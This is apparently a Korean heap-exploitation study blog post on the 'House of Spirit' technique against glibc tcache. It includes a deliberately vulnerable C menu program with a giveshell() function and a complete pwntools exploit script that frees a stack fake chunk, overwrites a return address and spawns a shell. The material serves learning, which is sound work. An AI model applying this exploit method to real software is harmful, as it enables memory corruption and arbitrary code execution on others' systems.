free 함수의 인자를 조작해서 임의의 메모리를 해제할 수 있을 때 원하는 주소에 힙을 할당해 임의의 주소에 값을 쓸 수 있다.
새로 할당되는 힙은 힙 영역이 아닌 스택 영역에 할당되므로, House of spirit 기법을 사용하려면 스택 주소를 알고 해당 영역을 해제할 수 있어야 한다.
예제1
// gcc -o spirit1 spirit1.c -no-pie
#include <stdio.h>
#include <stdlib.h>
int main()
{
long long fake_chunk[10] = {0,};
fake_chunk[0] = 0;
fake_chunk[1] = 0x31;
fake_chunk[2] = 0x41414141;
free(&fake_chunk[2]);
char *fake_alloc = malloc(0x20);
printf("fake chunk: %p\n", fake_alloc);
}
스택 영역에 fake chunk를 생성한 후 해제를 하면, 0x30 크기에 해당하는 tcache_entry 내 인덱스에(2번 인덱스) 해당 fake chunk 포인터가 적힌다.
이후 malloc으로 할당받는 경우 tcache_entry에 적힌 스택 영역의 fake chunk를 할당해주게 된다.
예제2
// gcc -o spirit2 spirit2.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void giveshell()
{
system("/bin/sh");
}
int main()
{
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
char *ptr[10] = {0,};
long long idx = 0;
size_t size = 0;
long long index = 0;
size_t address = 0;
int i = 0;
size_t *ptr_size[10] = {0,};
printf("%p\n", &size);
while(1) {
printf("1. Add\n");
printf("2. Free\n");
printf("3. Edit\n");
printf(">");
scanf("%d",&idx);
switch(idx) {
case 1:
if( i >= 10 ) {
break;
}
printf("Size: ");
scanf("%llu",&size);
ptr[i] = malloc(size);
ptr_size[i] = size;
i++;
break;
case 2:
printf("Address: ");
scanf("%lld", &address);
free(address);
break;
case 3:
printf("Index: ");
scanf("%llu", &index);
read(0, ptr[index], ptr_size[index]);
break;
default:
return 0;
}
}
return 0;
}
스택 주소를 출력해주고, 원하는 영역을 해제할 수 있으므로 House of Spirit 기법을 사용할 수 있다.
보호기법 확인
익스플로잇 시나리오
만약 0x7ffdf1400680을 free 함수의 인자로 준다면, 0x7ffdf1400680-8의 ptr_size를 size로 착각하고 정상적으로 해제해서 tcache_entry에 0x7ffdf1400680 주소를 적을 것이다.
이후 같은 bin 크기 할당을 요청하면 0x7ffdf1400680에서할당해줄것이고, 0x7ffdf1400690의 ptr을 덮을 수 있다.
(1) 출력해주는 스택 주소 받는다.
free 함수의 인자로 줄 ptr_size+8 주소를 구한다.
free_arg = leak +8
ptr에 적힌 주소를 return address로 덮어서 edit 메뉴에서 return address를 변조할 수 있도록 return address를 구해야 한다.
스택에서 __libc_start_main+231이 들어있는 위치가 return address 위치이다.
이 주소와 leak해주는 size 주소와의 offset으로 실행 시 return address를 구한다.
ret = leak + 0xd0
(2) 2번 메뉴: free의 인자로 ptr_size+8 주소를 줘서 해제한다.
이후 재할당받아 해당 영역에 데이터를 입력받기 위한 과정이다.
tcache에 ptr_size+8이 적힌 것을 확인할 수 있다.
(3) 1번 메뉴: 0x30 = 0x10 + 0x20이므로 0x20을 할당해서 fake chunk에서 할당되도록 한다.
tcache에 등록되어 있던 주소 영역에서 청크를 할당해준 것을 확인할 수 있다.
(4) 3번 메뉴: 데이터를 입력해서 ptr 위치를 return address로 덮는다.
data = 'A'*0x10 + p64(ret)
두 번째 청크이므로 index는 1로 준다.
첫 번째 청크에 대한 ptr이 return address로 바뀌었다.
(5) 첫 번째 청크를 edit해서 giveshell 함수 주소를 넣는다.
(6) 리턴주소에 적힌 주소로 리턴하기 위해 switch문의 default: return 0;를 이용해서 메뉴에 없는 4로 메뉴 선택한다.
ret의 give_shell로 리턴할 수 있다.
do_system+1094에서 끊기는데 do_system+1094 명령어를 확인해보면 xmm0를 사용한다.
xmm0는 64비트 명령어에서 128비트 레지스터이다.
8바이트를 두 번 옮기는 것보다 한 번 옮기는게 빠르므로 16바이트를 옮길 때 쓰는 레지스터이다.
근데 xmm0 명령어를 사용하므로 16바이트로 주소가 정렬되어 있어야 한다.
메모리가 정렬되어 있지 않아서 do_system+1094에서 오류가 생긴 것이다.
따라서 return address 부분을 16바이트로 정렬하기 위해 giveshell 주소를 두 번 줬다.
(ret 주소 + giveshell 주소는 안 됐다.)
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
p = process("./spirit2")
giveshell = elf.symbols['giveshell']
def add(size):
p.sendlineafter("> ", '1')
p.sendlineafter("Size: ", str(size))
def free(address):
p.sendlineafter("> ", '2')
p.sendlineafter("Address: ", str(address))
def edit(index, data):
p.sendlineafter("> ", '3')
p.sendlineafter("Index: ", str(index))
p.send(data)
leak = int(p.recv(14), 16)
free_arg = leak + 8
ret = leak + 0xd0
log.info("leak: "+hex(leak))
log.info("free_arg: "+hex(free_arg))
log.info("ret: "+hex(ret))
add(0x30)
free(free_arg)
add(0x20) #0x20+0x10 = 0x30
edit(1, 'A'*0x10 + p64(ret))
edit(0, p64(giveshell) + p64(giveshell))
#edit(1, 'A'*0x10 + p64(elf.got['printf']))
#edit(0, p64(giveshell))
gdb.attach(p)
p.sendlineafter("> ", '5') # got overwrite 경우 필요없음
p.interactive()
ptr을 got로 바꾸고 got에서 할당받고 데이터로 giveshell을 주는 방법도 있다.
got overwrite의 경우 do_system+1094 오류를 신경쓰지 않아도 된다.(
Poison NULL Byte (0) | 2020.06.12 |
---|---|
Unsorted bin attack (0) | 2020.06.11 |
fastbin dup (0) | 2020.06.10 |
Tcache Dup (0) | 2020.06.10 |
Tcache (0) | 2020.06.10 |